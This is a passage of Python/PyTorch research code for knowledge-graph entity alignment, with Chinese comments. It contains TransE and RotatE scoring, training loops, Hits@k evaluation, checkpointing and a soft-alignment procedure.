self.value_embedding,\n dim=0,\n index=head_part[:, 1, 1].view(-1)\n ).unsqueeze(1)\n return self.loss_av(a, v, a_, v_, mode)\n # endregion\n\n # 以下是 TransE\n if mode == 'single':\n batch_size, negative_sample_size = sample.size(0), 1\n\n head = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=sample[:, 0]\n ).unsqueeze(1)\n\n relation = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=sample[:, 1]\n ).unsqueeze(1)\n\n tail = torch.index_select(\n self.value_embedding,\n dim=0,\n index=sample[:, 2]\n ).unsqueeze(1)\n\n elif mode == 'head-batch':\n tail_part, head_part = sample\n # head_part : batch_size x sample_size\n # tail_part : batch_size x 3\n batch_size, negative_sample_size = head_part.size(0), head_part.size(1)\n\n head = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=head_part.view(-1)\n ).view(batch_size, negative_sample_size, -1)\n\n relation = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=tail_part[:, 1]\n ).unsqueeze(1)\n\n tail = torch.index_select(\n self.value_embedding,\n dim=0,\n index=tail_part[:, 2]\n ).unsqueeze(1)\n\n elif mode == 'tail-batch':\n\n head_part, tail_part = sample\n # head_part : batch_size x 3\n # tail_part : batch_size x sample_size\n batch_size, negative_sample_size = tail_part.size(0), tail_part.size(1)\n head = torch.index_select(\n self.entity_embedding,\n dim=0,\n index=head_part[:, 0]\n ).unsqueeze(1)\n\n relation = torch.index_select(\n self.relation_embedding,\n dim=0,\n index=head_part[:, 1]\n ).unsqueeze(1)\n\n tail = torch.index_select(\n self.value_embedding,\n dim=0,\n index=tail_part.view(-1)\n ).view(batch_size, negative_sample_size, -1)\n\n else:\n raise ValueError('mode %s not supported' % mode)\n\n # output = self.layer1(head.matmul(self.M))\n # output = self.layer2(output)\n # head = self.layer3(output)\n #\n # output = self.layer1(relation.matmul(self.M))\n # output = self.layer2(output)\n # relation = self.layer3(output)\n #\n # output = self.layer1(tail.matmul(self.M))\n # output = self.layer2(output)\n # tail = self.layer3(output)\n\n score = self.RotatE(head, relation, tail, mode)\n return score\n\n def loss_av(self, a, v, a_, v_, mode):\n score = (a - v) - (a_ - v_)\n score = self.gamma.item() - torch.norm(score, p=1, dim=2)\n # score = torch.norm(score, p=1, dim=2)\n return score\n\n def loss_GCN_Align(self, head, tail, mode):\n # print(mode, head.size(), tail.size())\n score = head - tail\n score = self.gamma.item() - torch.norm(score, p=1, dim=2)\n # score = torch.norm(score, p=1, dim=2)\n return score\n\n def loss_cos(self, head, tail, mode):\n score = (1 - F.cosine_similarity(head, tail).abs()).sum()\n return score\n\n def TransE(self, head, relation, tail, mode):\n\n if mode == 'head-batch':\n score = head + (relation - tail)\n else:\n score = (head + relation) - tail\n score = self.gamma.item() - torch.norm(score, p=1, dim=2)\n return score\n\n def RotatE(self, head, relation, tail, mode):\n\n pi = 3.14159265358979323846\n\n re_head, im_head = torch.chunk(head, 2, dim=2)\n re_tail, im_tail = torch.chunk(tail, 2, dim=2)\n\n # Make phases of relations uniformly distributed in [-pi, pi]\n\n phase_relation = relation / (self.embedding_range.item() / pi)\n re_relation = torch.cos(phase_relation)\n im_relation = torch.sin(phase_relation)\n\n if mode == 'head-batch':\n re_score = re_relation * re_tail + im_relation * im_tail\n im_score = re_relation * im_tail - im_relation * re_tail\n re_score = re_score - re_head\n im_score = im_score - im_head\n else:\n re_score = re_head * re_relation - im_head * im_relation\n im_score = re_head * im_relation + im_head * re_relation\n re_score = re_score - re_tail\n im_score = im_score - im_tail\n\n score = torch.stack([re_score, im_score], dim=0)\n score = score.norm(dim=0)\n\n score = self.gamma.item() - score.sum(dim=2)\n return score\n\n def loss(self, model,\n positive_sample, negative_sample, subsampling_weight, mode,\n single_mode=\"single\"):\n negative_score = model((positive_sample, negative_sample), mode=mode)\n negative_score = F.logsigmoid(-negative_score).mean(dim=1)\n\n positive_score = model(positive_sample, mode=single_mode)\n positive_score = F.logsigmoid(positive_score).squeeze(dim=1)\n\n positive_sample_loss = - (subsampling_weight * positive_score).sum() / subsampling_weight.sum()\n negative_sample_loss = - (subsampling_weight * negative_score).sum() / subsampling_weight.sum()\n loss = (positive_sample_loss + negative_sample_loss) / 2\n return loss\n\n @staticmethod\n def train_step(model, optimizer,\n positive_sample, negative_sample, subsampling_weight, mode,\n align_positive_sample, align_negative_sample, align_subsampling_weight, align_mode,\n av_positive_sample, av_negative_sample, av_subsampling_weight, av_mode,\n device=\"cuda\"):\n\n model.train()\n optimizer.zero_grad()\n\n positive_sample = positive_sample.to(device)\n negative_sample = negative_sample.to(device)\n subsampling_weight = subsampling_weight.to(device)\n if align_mode is not None:\n align_positive_sample = align_positive_sample.to(device)\n align_negative_sample = align_negative_sample.to(device)\n align_subsampling_weight = align_subsampling_weight.to(device)\n if av_mode is not None:\n av_positive_sample = av_positive_sample.to(device)\n av_negative_sample = av_negative_sample.to(device)\n av_subsampling_weight = av_subsampling_weight.to(device)\n\n raw_loss = model.loss(model,\n positive_sample, negative_sample, subsampling_weight,\n mode, \"single\")\n if align_mode is not None:\n align_loss = model.loss(model,\n align_positive_sample, align_negative_sample, align_subsampling_weight,\n align_mode, \"align-single\")\n else:\n align_loss = raw_loss\n if av_mode is not None:\n av_loss = model.loss(model,\n av_positive_sample, av_negative_sample, av_subsampling_weight,\n av_mode, \"av-single\")\n else:\n av_loss = raw_loss\n\n loss = (raw_loss + align_loss + av_loss) / 3\n loss.backward()\n optimizer.step()\n\n return loss.item(), raw_loss.item(), align_loss.item(), av_loss.item()\n\n\n# endregion\n\n# region 日志\ndef get_logger(filename):\n \"\"\"\n Return instance of logger\n 统一的日志样式\n \"\"\"\n logger = logging.getLogger('logger')\n logger.setLevel(logging.INFO)\n logging.basicConfig(format='%(message)s', level=logging.INFO)\n\n handler = logging.FileHandler(filename)\n handler.setLevel(logging.INFO)\n handler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s: %(message)s'))\n\n logging.getLogger().addHandler(handler)\n\n return logger\n\n\nlogger = get_logger(\"./train.log\")\n\n\n# endregion\n\n# region 进度条\nclass Progbar(object):\n \"\"\"\n Progbar class inspired by keras\n\n 进度条\n\n ```\n progbar = Progbar(max_step=100)\n for i in range(100):\n progbar.update(i, [(\"step\", i), (\"next\", i+1)])\n ```\n \"\"\"\n\n def __init__(self, max_step, width=30):\n self.max_step = max_step\n self.width = width\n self.last_width = 0\n\n self.sum_values = {}\n\n self.start = time.time()\n self.last_step = 0\n\n self.info = \"\"\n self.bar = \"\"\n\n def _update_values(self, curr_step, values):\n for k, v in values:\n if k not in self.sum_values:\n self.sum_values[k] = [v * (curr_step - self.last_step), curr_step - self.last_step]\n else:\n self.sum_values[k][0] += v * (curr_step - self.last_step)\n self.sum_values[k][1] += (curr_step - self.last_step)\n\n def _write_bar(self, curr_step):\n last_width = self.last_width\n sys.stdout.write(\"\\b\" * last_width)\n sys.stdout.write(\"\\r\")\n\n numdigits = int(np.floor(np.log10(self.max_step))) + 1\n barstr = '%%%dd/%%%dd [' % (numdigits, numdigits)\n bar = barstr % (curr_step, self.max_step)\n prog = float(curr_step) / self.max_step\n prog_width = int(self.width * prog)\n if prog_width > 0:\n bar += ('=' * (prog_width - 1))\n if curr_step < self.max_step:\n bar += '>'\n else:\n bar += '='\n bar += ('.' * (self.width - prog_width))\n bar += ']'\n sys.stdout.write(bar)\n\n return bar\n\n def _get_eta(self, curr_step):\n now = time.time()\n if curr_step:\n time_per_unit = (now - self.start) / curr_step\n else:\n time_per_unit = 0\n eta = time_per_unit * (self.max_step - curr_step)\n\n if curr_step < self.max_step:\n info = ' - ETA: %ds' % eta\n else:\n info = ' - %ds' % (now - self.start)\n\n return info\n\n def _get_values_sum(self):\n info = \"\"\n for name, value in self.sum_values.items():\n info += ' - %s: %.6f' % (name, value[0] / max(1, value[1]))\n return info\n\n def _write_info(self, curr_step):\n info = \"\"\n info += self._get_eta(curr_step)\n info += self._get_values_sum()\n\n sys.stdout.write(info)\n\n return info\n\n def _update_width(self, curr_step):\n curr_width = len(self.bar) + len(self.info)\n if curr_width < self.last_width:\n sys.stdout.write(\" \" * (self.last_width - curr_width))\n\n if curr_step >= self.max_step:\n sys.stdout.write(\"\\n\")\n\n sys.stdout.flush()\n\n self.last_width = curr_width\n\n def update(self, curr_step, values):\n \"\"\"Updates the progress bar.\n\n Args:\n values: List of tuples (name, value_for_last_step).\n The progress bar will display averages for these values.\n\n \"\"\"\n self._update_values(curr_step, values)\n self.bar = self._write_bar(curr_step)\n self.info = self._write_info(curr_step)\n self._update_width(curr_step)\n self.last_step = curr_step\n\n\n# endregion\n\n# region 测试对齐实体\nclass Tester:\n left_ids: List[int] = [] # test_seeds 中对齐实体的左实体id\n right_ids: List[int] = [] # test_seeds 中对齐实体的右实体id\n seeds: List[Tuple[int, int]] = [] # (m, 2) 对齐的实体对(a,b)称a为左实体,b为右实体\n train_seeds: List[Tuple[int, int]] = [] # (0.8m, 2)\n test_seeds: List[Tuple[int, int]] = [] # (0.2m, 2)\n linkEmbedding = []\n kg1E = []\n kg2E = []\n EA_results = {}\n\n def read_entity_align_list(self, entity_align_file_path):\n ret = []\n with open(entity_align_file_path, encoding='utf-8') as f:\n for line in f:\n th = line[:-1].split('\\t')\n ret.append((int(th[0]), int(th[1])))\n self.seeds = ret\n # 80%训练集,20%测试集\n train_percent = 0.3\n train_max_idx = int(train_percent * len(self.seeds))\n self.train_seeds = self.seeds[:train_max_idx]\n self.test_seeds = self.seeds[train_max_idx:]\n self.left_ids = []\n self.right_ids = []\n for left_entity, right_entity in self.test_seeds:\n self.left_ids.append(left_entity) # 对齐的左边的实体\n self.right_ids.append(right_entity) # 对齐的右边的实体\n\n def XRA(self, entity_embedding_file_path):\n self.linkEmbedding = []\n with open(entity_embedding_file_path, 'r', encoding='utf-8') as f:\n lines = f.readlines()\n for i in range(len(lines)):\n aline = lines[i].strip()\n aline_list = aline.split()\n self.linkEmbedding.append(aline_list)\n\n @staticmethod\n def get_vec(entities_embedding, id_list: List[int], device=\"cuda\"):\n tensor = torch.LongTensor(id_list).view(-1, 1).to(device)\n return entities_embedding(tensor).view(-1, 200).cpu().detach().numpy()\n\n @staticmethod\n def get_vec2(entities_embedding, id_list: List[int], device=\"cuda\"):\n all_entity_ids = torch.LongTensor(id_list).view(-1).to(device)\n all_entity_vec = torch.index_select(\n entities_embedding,\n dim=0,\n index=all_entity_ids\n ).view(-1, 200).cpu().detach().numpy()\n return all_entity_vec\n\n @staticmethod\n def get_vec3(entities_embedding, orth: torch.Tensor, id_list: List[int], device=\"cuda\"):\n all_entity_ids = torch.LongTensor(id_list).view(-1).to(device)\n all_entity_vec = torch.index_select(\n entities_embedding,\n dim=0,\n index=all_entity_ids\n ).view(-1, 200)\n all_entity_vec = all_entity_vec.matmul(orth.transpose(0, 1))\n return all_entity_vec.cpu().detach().numpy()\n\n def calculate(self, top_k=(1, 10, 50, 100)):\n Lvec = np.array([self.linkEmbedding[e1] for e1, e2 in self.test_seeds])\n Rvec = np.array([self.linkEmbedding[e2] for e1, e2 in self.test_seeds])\n return self.get_hits(Lvec, Rvec, top_k)\n\n def get_hits2(self, Lvec, Rvec, top_k=(1, 10, 50, 100)):\n sim = spatial.distance.cdist(Lvec, Rvec, metric='cityblock')\n return self.get_hits(Lvec, Rvec, sim, top_k)\n\n def get_hits(self, Lvec, Rvec, sim, top_k=(1, 10, 50, 100)):\n # Lvec (m, d), Rvec (m, d)\n # Lvec和Rvec分别是对齐的左右实体的嵌入组成的列表,d是嵌入维度,m是实体个数\n # sim=distance(Lvec, Rvec) (m, m)\n # sim[i, j] 表示在 Lvec 的实体 i 到 Rvec 的实体 j 的距离\n top_lr = [0] * len(top_k)\n for i in range(Lvec.shape[0]): # 对于每个KG1实体\n rank = sim[i, :].argsort()\n # sim[i, :] 是一个行向量,表示将 Lvec 中的实体 i 到 Rvec 的所有实体的距离\n # argsort 表示将距离按大小排序,返回排序后的下标。比如[6,3,5]下标[0,1,2],排序后[3,5,6],则返回[1,2,0]\n rank_index = np.where(rank == i)[0][0]\n # 对于一维向量,np.where(rank == i) 等价于 list(rank).index(i),即查找元素 i 在 rank 中的下标\n # 这里的 i 不是代表 Lvec 中的实体 i 的下标,而是代表 Rvec 中和 i 对齐的实体的下标。\n for j in range(len(top_k)):\n if rank_index < top_k[j]: # index 从 0 开始,因此用 '<' 号\n top_lr[j] += 1\n top_rl = [0] * len(top_k)\n for i in range(Rvec.shape[0]):\n rank = sim[:, i].argsort()\n rank_index = np.where(rank == i)[0][0]\n for j in range(len(top_k)):\n if rank_index < top_k[j]:\n top_rl[j] += 1\n logger.info('For each left:')\n left = []\n for i in range(len(top_lr)):\n hits = top_k[i]\n hits_value = top_lr[i] / len(self.test_seeds) * 100\n left.append((hits, hits_value))\n logger.info('Hits@%d: %.2f%%' % (hits, hits_value))\n logger.info('For each right:')\n right = []\n for i in range(len(top_rl)):\n hits = top_k[i]\n hits_value = top_rl[i] / len(self.test_seeds) * 100\n right.append((hits, hits_value))\n logger.info('Hits@%d: %.2f%%' % (hits, hits_value))\n\n return {\n \"left\": left,\n \"right\": right,\n }\n\n @staticmethod\n def get_score(hits):\n hits_left = hits[\"left\"]\n hits_right = hits[\"right\"]\n left_hits_10 = hits_left[2][1]\n right_hits_10 = hits_right[2][1]\n score = (left_hits_10 + right_hits_10) / 2\n return score\n\n\n# endregion\n\n# region 保存与加载模型,恢复训练状态\n_MODEL_STATE_DICT = \"model_state_dict\"\n_OPTIMIZER_STATE_DICT = \"optimizer_state_dict\"\n_MODEL_STATE_DICT2 = \"model_state_dict2\"\n_OPTIMIZER_STATE_DICT2 = \"optimizer_state_dict2\"\n_EPOCH = \"epoch\"\n_STEP = \"step\"\n_BEST_SCORE = \"best_score\"\n_LOSS = \"loss\"\n\n\ndef load_checkpoint(model: nn.Module, optim: optimizer.Optimizer,\n checkpoint_path=\"./result/fr_en/checkpoint.tar\") -> Tuple[int, int, float]:\n \"\"\"Loads training checkpoint.\n\n :param checkpoint_path: path to checkpoint\n :param model: model to update state\n :param optim: optimizer to update state\n :return tuple of starting epoch id, starting step id, best checkpoint score\n \"\"\"\n checkpoint = torch.load(checkpoint_path)\n model.load_state_dict(checkpoint[_MODEL_STATE_DICT])\n optim.load_state_dict(checkpoint[_OPTIMIZER_STATE_DICT])\n start_epoch_id = checkpoint[_EPOCH] + 1\n step = checkpoint[_STEP] + 1\n best_score = checkpoint[_BEST_SCORE]\n return start_epoch_id, step, best_score\n\n\ndef save_checkpoint(model: nn.Module, optim: optimizer.Optimizer,\n epoch_id: int, step: int, best_score: float,\n save_path=\"./result/fr_en/checkpoint.tar\"):\n torch.save({\n _MODEL_STATE_DICT: model.state_dict(),\n _OPTIMIZER_STATE_DICT: optim.state_dict(),\n _EPOCH: epoch_id,\n _STEP: step,\n _BEST_SCORE: best_score,\n }, save_path)\n\n\ndef save_entity_embedding_list(entity_embedding, embedding_path=\"./result/fr_en/ATentsembed.txt\"):\n with open(embedding_path, 'w') as f:\n d = entity_embedding.data.detach().cpu().numpy()\n for i in range(len(d)):\n f.write(\" \".join([str(j) for j in d[i].tolist()]))\n f.write(\"\\n\")\n\n\n# endregion\n\n# region 数据集\ndef read_ids_and_names(dir_path, sp=\"\\t\"):\n ids = []\n names = []\n with open(dir_path, encoding=\"utf-8\") as file:\n lines = file.readlines()\n for line in lines:\n id_to_name = line.strip().split(sp)\n ids.append(int(id_to_name[0]))\n names.append(id_to_name[1])\n return ids, names\n\n\ndef read_triple(triple_path):\n with open(triple_path, 'r') as fr:\n triple = set()\n for line in fr:\n line_split = line.split()\n head = int(line_split[0])\n tail = int(line_split[1])\n rel = int(line_split[2])\n triple.add((head, rel, tail))\n return list(triple)\n\n\ndef save_triple(triples, triple_path):\n with open(triple_path, 'w') as fr:\n for triple in triples:\n fr.write(\"%d\\t%d\\t%d\\n\" % (triple[0], triple[2], triple[1]))\n\n\ndef append_align_triple(triple: List[Tuple[int, int, int]], entity_align_list: List[Tuple[int, int]]):\n # 使用对齐实体替换头节点,构造属性三元组数据,从而达到利用对齐实体数据的目的\n align_set = {}\n for i in entity_align_list:\n align_set[i[0]] = i[1]\n align_set[i[1]] = i[0]\n triple_replace_with_align = []\n bar = Progbar(max_step=len(triple))\n count = 0\n for entity, attr, value in triple:\n if entity in align_set:\n triple_replace_with_align.append((align_set[entity], attr, value))\n count += 1\n bar.update(count, [(\"step\", count)])\n return triple + triple_replace_with_align\n\n\n# endregion\n\nclass MTransE:\n def __init__(self,\n # input paths\n entity_align_file=\"data/fr_en/ref_ent_ids\",\n all_entity_file=\"data/fr_en/ent_ids_all\",\n all_attr_file=\"data/fr_en/att2id_all\",\n all_value_file=\"data/fr_en/att_value2id_all\",\n all_triple_file=\"data/fr_en/att_triple_all\",\n kg1_entity_file=\"data/fr_en/ent_ids_1\",\n kg2_entity_file=\"data/fr_en/ent_ids_2\",\n # output paths\n checkpoint_path=\"./result/TransE/fr_en/checkpoint.tar\",\n embedding_path=\"./result/TransE/fr_en/ATentsembed.txt\",\n tensorboard_log_dir=\"./result/TransE/fr_en/log/\",\n\n device=\"cuda\",\n learning_rate=0.001,\n visualize=False,\n using_soft_align=False\n ):\n self.entity_align_file = entity_align_file\n self.all_entity_file = all_entity_file\n self.all_attr_file = all_attr_file\n self.all_value_file = all_value_file\n self.all_triple_file = all_triple_file\n self.kg1_entity_file = kg1_entity_file\n self.kg2_entity_file = kg2_entity_file\n self.tensorboard_log_dir = tensorboard_log_dir\n self.checkpoint_path = checkpoint_path\n self.embedding_path = embedding_path\n\n self.learning_rate = learning_rate\n\n self.device = device\n self.visualize = visualize\n self.using_soft_align = using_soft_align\n\n def init_data(self):\n self.t = Tester()\n self.t.read_entity_align_list(self.entity_align_file) # 得到已知对齐实体\n self.entity_list, self.entity_name_list = read_ids_and_names(self.all_entity_file)\n self.attr_list, _ = read_ids_and_names(self.all_attr_file)\n self.value_list, _ = read_ids_and_names(self.all_value_file)\n self.kg1_entity_list, _ = read_ids_and_names(self.kg1_entity_file)\n self.kg2_entity_list, _ = read_ids_and_names(self.kg2_entity_file)\n self.all_triple_file_ext = self.all_triple_file + \"_ext\"\n self.filtered_triple_file_ext = self.all_triple_file + \"_filtered\"\n self.train_triples = read_triple(self.all_triple_file)\n\n self.entity_count = len(self.entity_list)\n self.attr_count = len(self.attr_list)\n self.value_count = len(self.value_list)\n\n logger.info(\"entity: \" + str(self.entity_count)\n + \" attr: \" + str(self.attr_count)\n + \" value: \" + str(self.value_count))\n logger.info(\"kg1_entity: \" + str(len(self.kg1_entity_list))\n + \" kg2_entity: \" + str(len(self.kg2_entity_list)))\n\n def append_align_triple(self):\n logger.info(\"数据增强\")\n if os.path.exists(self.all_triple_file_ext):\n self.train_triples = read_triple(self.all_triple_file_ext)\n else:\n self.train_triples = append_align_triple(self.train_triples, self.t.train_seeds)\n save_triple(self.train_triples, self.all_triple_file_ext)\n\n def filter_triple(self):\n logger.info(\"过滤出数据精华\")\n if os.path.exists(self.filtered_triple_file_ext):\n self.train_triples = read_triple(self.filtered_triple_file_ext)\n else:\n seeds_set = set()\n for a, b in self.t.seeds:\n seeds_set.add(a)\n seeds_set.add(b)\n filtered_triple = []\n for e, a, v in self.train_triples:\n if e in seeds_set:\n filtered_triple.append((e, a, v))\n self.train_triples = filtered_triple\n save_triple(self.train_triples, self.filtered_triple_file_ext)\n\n def init_dataset(self, gcn=False, my=False):\n logger.info(\"triple: \" + str(len(self.train_triples)))\n train_dataloader_head = DataLoader(\n TrainDataset(self.train_triples,\n self.entity_count, self.attr_count, self.value_count, 1024,\n 'head-batch'),\n batch_size=1024,\n shuffle=False,\n num_workers=8,\n collate_fn=TrainDataset.collate_fn\n )\n train_dataloader_tail = DataLoader(\n TrainDataset(self.train_triples,\n self.entity_count, self.attr_count, self.value_count, 1024,\n 'tail-batch'),\n batch_size=1024,\n shuffle=False,\n num_workers=8,\n collate_fn=TrainDataset.collate_fn\n )\n self.train_iterator = BidirectionalOneShotIterator(train_dataloader_head, train_dataloader_tail)\n\n logger.info(\"train-align: \" + str(len(self.t.train_seeds)))\n logger.info(\"test-align: \" + str(len(self.t.test_seeds)))\n if gcn:\n align_dataloader_head = DataLoader(\n AlignDataset(self.t.train_seeds, self.kg1_entity_list, self.kg2_entity_list,\n self.entity_count, 500,\n \"align-head-batch\"),\n batch_size=500,\n shuffle=True,\n num_workers=8,\n collate_fn=AlignDataset.collate_fn\n )\n align_dataloader_tail = DataLoader(\n AlignDataset(self.t.train_seeds, self.kg1_entity_list, self.kg2_entity_list,\n self.entity_count, 500,\n \"align-tail-batch\"),\n batch_size=500,\n shuffle=True,\n num_workers=8,\n collate_fn=AlignDataset.collate_fn\n )\n self.align_iterator = BidirectionalOneShotIterator(align_dataloader_head, align_dataloader_tail)\n\n if my:\n av_dataloader_head = DataLoader(\n AVDistanceDataset(self.t.train_seeds, self.train_triples, self.t.left_ids, self.t.right_ids,\n self.entity_count, 500,\n \"av-head-batch\"),\n batch_size=500,\n shuffle=True,\n num_workers=8,\n collate_fn=AVDistanceDataset.collate_fn\n )\n av_dataloader_tail = DataLoader(\n AVDistanceDataset(self.t.train_seeds, self.train_triples, self.t.left_ids, self.t.right_ids,\n self.entity_count, 500,\n \"av-tail-batch\"),\n batch_size=500,\n shuffle=True,\n num_workers=8,\n collate_fn=AVDistanceDataset.collate_fn\n )\n self.av_iterator = BidirectionalOneShotIterator(av_dataloader_head, av_dataloader_tail)\n\n def init_model(self):\n self.model = KGEModel(\n self.t.train_seeds,\n nentity=self.entity_count,\n nrelation=self.attr_count,\n nvalue=self.value_count,\n hidden_dim=200,\n gamma=24.0,\n ).to(self.device)\n\n def init_optimizer(self):\n self.optim = torch.optim.Adam(\n filter(lambda p: p.requires_grad, self.model.parameters()),\n lr=self.learning_rate\n )\n\n def init_soft_align(self):\n self.combination_threshold = 3 # 小于这个距离则模型认为已对齐\n self.combination_restriction = 50000 # 模型认为对齐的实体对的个数\n self.distance2entitiesPair: List[Tuple[int, Tuple[int, int]]] = []\n self.combinationProbability: List[float] = [0] * self.entity_count # [0, 1)\n self.correspondingEntity = {}\n self.model_think_align_entities = []\n self.model_is_able_to_predict_align_entities = False\n\n def init_visualize(self):\n self.summary_writer = tensorboard.SummaryWriter(log_dir=self.tensorboard_log_dir)\n\n def soft_align(self, positive_sample, mode='single'):\n batch_size = positive_sample.size()[0]\n # positive_sample (batch_size, 3)\n # batch_size 个 (entity, attr, value) 的三元组\n # negative_sample (batch_size, negative_sample_size)\n # batch_size 个长度为 negative_sample_size 的 (neg_id1, neg_id2, ...) 替换用的待使用id\n # 设 e 是正例实体,e' 是负例实体,e* 是模型认为的e的对齐实体\n # 1. head-batch\n # (e, a, v) + (e'1, e'2, ..., e'n) ->\n # ((e, a, v), (e'1, a, v))\n # ((e, a, v), (e'2, a, v))\n # ...\n # ((e, a, v), (e'n, a, v))\n # 2. tail-batch\n # (e, a, v) + (v'1, v'2, ..., v'n) ->\n # ((e, a, v), (e, a, v'1))\n # ((e, a, v), (e, a, v'2))\n # ...\n # ((e, a, v), (e, a, v'n))\n soft_positive_sample = positive_sample.clone()\n if mode == \"head-batch\":\n # 负例是随机替换头部\n # (neg_id1, neg_id2, ...) 是实体id\n # ((e, a, v), (e'1, a, v))\n # 已有 (e, a, v) + (e'1, e'2, ..., e'n)\n for i in range(batch_size):\n # 1. 模型认为头部是对齐的\n h1 = soft_positive_sample[i][0].item()\n if self.combinationProbability[h1] >= 0.5 and h1 in self.correspondingEntity: # 如果可信\n # 希望 (e, a, v) (e', a, v) -> (e*, a, v) (e', a, v)\n h1_cor = self.correspondingEntity[h1] # 获取模型认为的对齐实体\n soft_positive_sample[i][0] = h1_cor # 替换为模型认为的对齐实体\n elif mode == \"tail-batch\":\n # 负例是随机替换尾部\n # (neg_id1, neg_id2, ...) 是属性值id\n # ((e, a, v), (e, a, v'2))\n # 已有 (e, a, v) + (v'1, v'2, ..., v'n)\n for i in range(batch_size):\n # 1. 模型认为头部是对齐的\n h1 = soft_positive_sample[i][0].item()\n if self.combinationProbability[h1] >= 0.5 and h1 in self.correspondingEntity: # 如果可信\n # 希望 (e, a, v) (e', a, v) -> (e*, a, v) (e', a, v)\n h1_cor = self.correspondingEntity[h1] # 获取模型认为的对齐实体\n soft_positive_sample[i][0] = h1_cor # 替换为模型认为的对齐实体\n return soft_positive_sample\n\n def do_combine(self, thread_name, sim):\n # sim[i, j] 表示在 Lvec 的实体 i 到 Rvec 的实体 j 的距离\n logger.info(thread_name + \" \" + \"模型对齐中\")\n computing_time = time.time()\n # 1. 按距离排序\n self.distance2entitiesPair: List[Tuple[int, Tuple[int, int]]] = []\n filtered = np.argmin(sim, axis=1)\n true_pair_count = 0\n for i in range(filtered.shape[0]):\n j = filtered[i]\n if i == j:\n true_pair_count += 1\n self.distance2entitiesPair.append((sim[i, j], (self.t.left_ids[i], self.t.right_ids[j])))\n filter_time = time.time()\n logger.info(thread_name + \" \" + \"实体对有 \" + str(len(self.distance2entitiesPair)) + \" 个\")\n # 2.初始化\"模型认为两实体是对齐的\"这件事的可信概率\n combinationProbability: List[float] = [0] * self.entity_count # [0, 1)\n # 3.模型认为的对齐实体\n correspondingEntity = {}\n self.model_think_align_entities = []\n\n occupied: Set[int] = set()\n combination_counter = 0\n sigmoid = lambda x: 1.0 / (1.0 + exp(-x))\n for dis, (ent1, ent2) in self.distance2entitiesPair:\n if dis > self.combination_threshold:\n # 超过可信范围,不可信\n continue\n # 距离在可信范围内\n if ent1 in occupied or ent2 in occupied:\n continue\n if combination_counter >= self.combination_restriction:\n break\n combination_counter += 1\n self.correspondingEntity[ent1] = ent2\n self.correspondingEntity[ent2] = ent1\n self.model_think_align_entities.append((ent1, ent2))\n occupied.add(ent1)\n occupied.add(ent2)\n combinationProbability[ent1] = sigmoid(self.combination_threshold - dis) # 必有 p > 0.5\n combinationProbability[ent2] = sigmoid(self.combination_threshold - dis)\n logger.info(thread_name + \" \" + \"对齐了 \" + str(len(self.model_think_align_entities)) + \" 个实体\")\n logger.info(thread_name + \" \" + \"这些实体对里,正确的有 \"\n + str(true_pair_count) + \" 个,正确率 \"\n + str(true_pair_count / len(self.distance2entitiesPair) * 100) + \"%\")\n self.combination_restriction += 1000\n\n self.model_is_able_to_predict_align_entities = False # 上锁\n self.combinationProbability = combinationProbability\n self.correspondingEntity = correspondingEntity\n self.model_is_able_to_predict_align_entities = True # 解锁\n align_time = time.time()\n logger.info(thread_name + \" \" + \"模型对齐完成,用时 \" + str(int(align_time - filter_time)) + \" 秒\")\n\n def train_step(self, positive_sample, negative_sample, subsampling_weight, mode,\n align_positive_sample, align_negative_sample, align_subsampling_weight, align_mode,\n av_positive_sample, av_negative_sample, av_subsampling_weight, av_mode):\n return self.model.train_step(self.model, self.optim,\n positive_sample, negative_sample, subsampling_weight, mode,\n align_positive_sample, align_negative_sample, align_subsampling_weight, align_mode,\n av_positive_sample, av_negative_sample, av_subsampling_weight, av_mode)\n\n def run_train(self, need_to_load_checkpoint=True, gcn=False, my=False):\n logger.info(\"start training\")\n init_step = 1\n total_steps = 500001\n test_steps = 5000\n score = 0\n last_score = score\n\n if need_to_load_checkpoint:\n _, init_step, score = load_checkpoint(self.model, self.optim, self.checkpoint_path)\n last_score = score\n logger.info(\"恢复模型后,查看一下模型状态\")\n self.run_test(False)\n\n progbar = Progbar(max_step=total_steps)\n start_time = time.time()\n for step in range(init_step, total_steps):\n positive_sample, negative_sample, subsampling_weight, mode = next(self.train_iterator)\n if gcn:\n align_positive_sample, align_negative_sample, align_subsampling_weight, align_mode = next(\n self.align_iterator)\n else:\n align_positive_sample, align_negative_sample, align_subsampling_weight, align_mode = None, None, None, None\n\n if my:\n av_positive_sample, av_negative_sample, av_subsampling_weight, av_mode = next(self.av_iterator)\n else:\n av_positive_sample, av_negative_sample, av_subsampling_weight, av_mode = None, None, None, None\n\n loss, TransE_loss, align_loss, av_loss = self.train_step(positive_sample, negative_sample,\n subsampling_weight, mode,\n align_positive_sample, align_negative_sample,\n align_subsampling_weight, align_mode,\n av_positive_sample, av_negative_sample,\n av_subsampling_weight, av_mode)\n # 软对齐\n # 根据模型认为的对齐实体,修改 positive_sample,negative_sample,再训练一轮\n if self.using_soft_align and self.model_is_able_to_predict_align_entities:\n soft_positive_sample = self.soft_align(positive_sample, mode)\n loss2, _, _, _ = self.train_step(soft_positive_sample, negative_sample,\n subsampling_weight, mode,\n align_positive_sample, align_negative_sample,\n align_subsampling_weight, align_mode,\n av_positive_sample, av_negative_sample,\n av_subsampling_weight, av_mode)\n loss = loss + loss2\n\n progbar.update(step + 1, [\n (\"loss\", loss),\n (\"align\", align_loss),\n (\"TransE\", TransE_loss),\n (\"av\", av_loss),\n # (\"cost\", round((time.time() - start_time)))\n ])\n if self.visualize:\n self.summary_writer.add_scalar(tag='Loss/loss', scalar_value=loss, global_step=step)\n\n if step > init_step and step % test_steps == 0:\n hits, score = self.run_test(self.using_soft_align)\n\n if self.visualize:\n hits_left = hits[\"left\"]\n hits_right = hits[\"right\"]\n self.summary_writer.add_embedding(tag='Embedding',\n mat=self.model.entity_embedding,\n metadata=self.entity_name_list,\n global_step=step)\n self.summary_writer.add_scalar(tag='Hits@1/left', scalar_value=hits_left[0][1], global_step=step)\n self.summary_writer.add_scalar(tag='Hits@10/left', scalar_value=hits_left[1][1], global_step=step)\n self.summary_writer.add_scalar(tag='Hits@50/left', scalar_value=hits_left[2][1], global_step=step)\n self.summary_writer.add_scalar(tag='Hits@100/left', scalar_value=hits_left[3][1], global_step=step)\n\n self.summary_writer.add_scalar(tag='Hits@1/right', scalar_value=hits_right[0][1], global_step=step)\n 